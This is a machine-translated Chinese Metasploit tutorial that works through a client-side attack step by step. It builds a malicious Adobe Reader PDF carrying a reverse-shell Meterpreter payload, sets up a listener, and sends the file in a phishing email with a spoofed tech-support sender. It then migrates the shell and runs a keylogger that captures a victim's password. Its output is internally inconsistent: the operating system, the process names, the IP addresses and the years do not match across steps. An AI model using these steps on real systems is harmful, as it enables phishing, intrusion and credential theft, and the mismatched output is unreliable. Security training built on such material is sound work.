Metasploit中的客户端漏洞
正如我们已经讨论过的，Metasploit有很多用途，我们将在这里讨论的另一个是客户端漏洞利用。为了展示MSF如何用于客户端攻击的力量，我们将使用一个故事。
在安全领域，社交工程已成为越来越多的攻击媒介。尽管技术在发生变化，但似乎保持不变的一件事是人们缺乏安全感。因此，社交工程已成为当今安全领域非常热门的话题。
在我们的第一种情况下，我们的攻击者一直在使用Metasploit Framework，Maltego和其他工具收集大量的信息，以收集电子邮件地址和信息，以便为受害者启动社交工程客户端攻击。
在成功回收垃圾邮件并从网上获取电子邮件后，他获得了两个关键信息。
1）他们使用“最佳计算机”进行技术服务。
2）IT部门的电子邮件地址为itdept@victim.com
我们希望获得IT部门计算机上的shell并运行密钥记录器来获取密码，英特尔或任何其他信息的更多花絮。
我们首先加载我们的msfconsole。我们加载后，我们想创建一个恶意的PDF文件，让受害者打开它并有安全感。要做到这一点，它必须显得合法，拥有真实的标题，并且不能被防病毒或其他安全警报软件标记。
我们将使用Adobe Reader的util.printf（）JavaScript函数堆栈缓冲区溢出漏洞。Adobe Reader容易出现基于堆栈的缓冲区溢出漏洞，因为该应用程序无法对用户提供的数据执行足够的边界检查。攻击者可以利用此问题通过运行应用程序的用户权限或应用程序崩溃来执行任意代码，从而拒绝向合法用户提供服务。
因此，我们首先创建我们的恶意PDF文件以用于此客户端漏洞利用。
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME BestComputers-UpgradeInstructions.pdf
FILENAME => BestComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options
Module options (exploit/windows/fileformat/adobe_utilprintf):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME BestComputers-UpgradeInstructions.pdf yes The file name.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.8.128 yes The listen address
LPORT 4455 yes The listen port
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.2 (Windows XP SP3 English)
一旦我们拥有了所有选项，我们就会运行“exploit”来创建我们的恶意文件。
msf exploit(adobe_utilprintf) > exploit
[*] Creating 'BestComputers-UpgradeInstructions.pdf' file...
[*] BestComputers-UpgradeInstructions.pdf stored at /root/.msf4/local/BestComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) >
所以我们可以看到我们的pdf文件是在我们所在的子目录中创建的。因此，让我们将它复制到我们的/tmp目录，以便稍后在我们的exploit中定位。在将恶意文件发送给我们的受害者之前，我们需要设置一个侦听器来捕获此反向连接。我们将使用msfconsole来设置我们的多处理器监听器。
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455
LPORT => 4455
msf exploit(handler) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(handler) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
既然我们的听众正在等待收到它的恶意payloads，我们必须将这个payloads提供给受害者，因为在我们的信息收集中，我们获得了IT部门的电子邮件地址，因此我们将使用一个名为sendEmail的简便小脚本将此payloads传递给受害者。有了kung-fu单线程，我们可以附加恶意的pdf，使用我们想要的任何smtp服务器，并从我们想要的任何地址写出一个非常有说服力的电子邮件......。
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.
Sincerely,
Best Computers Tech Support
Aug 24 17:32:51 kali sendEmail[13144]: Message input complete.
Aug 24 17:32:51 kali sendEmail[13144]: Email was sent successfully!正如我们在这里看到的，脚本允许我们将任何FROM（-f）地址，任何TO（-t）地址，任何SMTP（-s）服务器以及标题（-u）和我们的恶意附件（-a） ）。一旦我们完成了所有这些工作并按下回车键，我们就可以输入任何我们想要的信息，然后按CTRL + D，这会将电子邮件发送给受害者。
现在在受害者的机器上，我们的IT部门员工正在进入当天并登录到他的电脑中查看他的电子邮件。
他看到了非常重要的文档，并像往常一样将其复制到桌面上，因此他可以使用他最喜欢的防病毒程序进行扫描。
正如我们所看到的，它通过了大量的颜色，所以我们的IT管理员愿意打开这个文件来快速实现这些非常重要的升级。单击该文件可打开Adobe，但会显示一个灰色的窗口，它永远不会显示PDF。相反，在攻击者机器上显示的是......。
[*]处理程序绑定到LHOST 0.0.0.0
[*]启动反向处理程序
[*]启动有效负载处理程序...
[*]发送阶段（718336字节）
会话[*]打开Meterpreter会话1（192.168.8.128:4455 - > 192.168.8.130:49322）
meterpreter >
我们现在通过恶意的PDF客户端攻击在他们的计算机上安装了一个shell。当然，在这一点上明智的做法是将shell移到不同的进程，所以当他们杀死Adobe时，我们不会失去shell。然后获取系统信息，启动密钥记录器并继续利用网络。
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
852 taskeng.exe C:\Windows\system32\taskeng.exe
1308 Dwm.exe C:\Windows\system32\Dwm.exe
1520 explorer.exe C:\Windows\explorer.exe
2184 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
2196 VMwareUser.exe C:\Program FilesVMware\VMware Tools\VMwareUser.exe
3176 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
3452 AcroRd32.exe C:\Program Files\AdobeReader 8.0\ReaderAcroRd32.exe
meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
meterpreter > sysinfo
Computer: OFFSEC-PC
OS : Windows Vista (Build 6000, ).
meterpreter > use priv
Loading extension priv...success.
meterpreter > run post/windows/capture/keylog_recorder
[*] Executing module against V-MAC-XP
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
[*] Recording keystrokes...
root@kali:~# cat /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
Keystroke log started at Wed Mar 23 09:18:36 -0600 2017
Support, I tried to open ti his file 2-3 times with no success. I even had my admin and CFO tru y it, but no one can get it to p open. I turned on the rmote access server so you can log in to fix our p this problem. Our user name is admin and password for that session is 123456. Call or eme ail when you are done. Thanks IT Dept
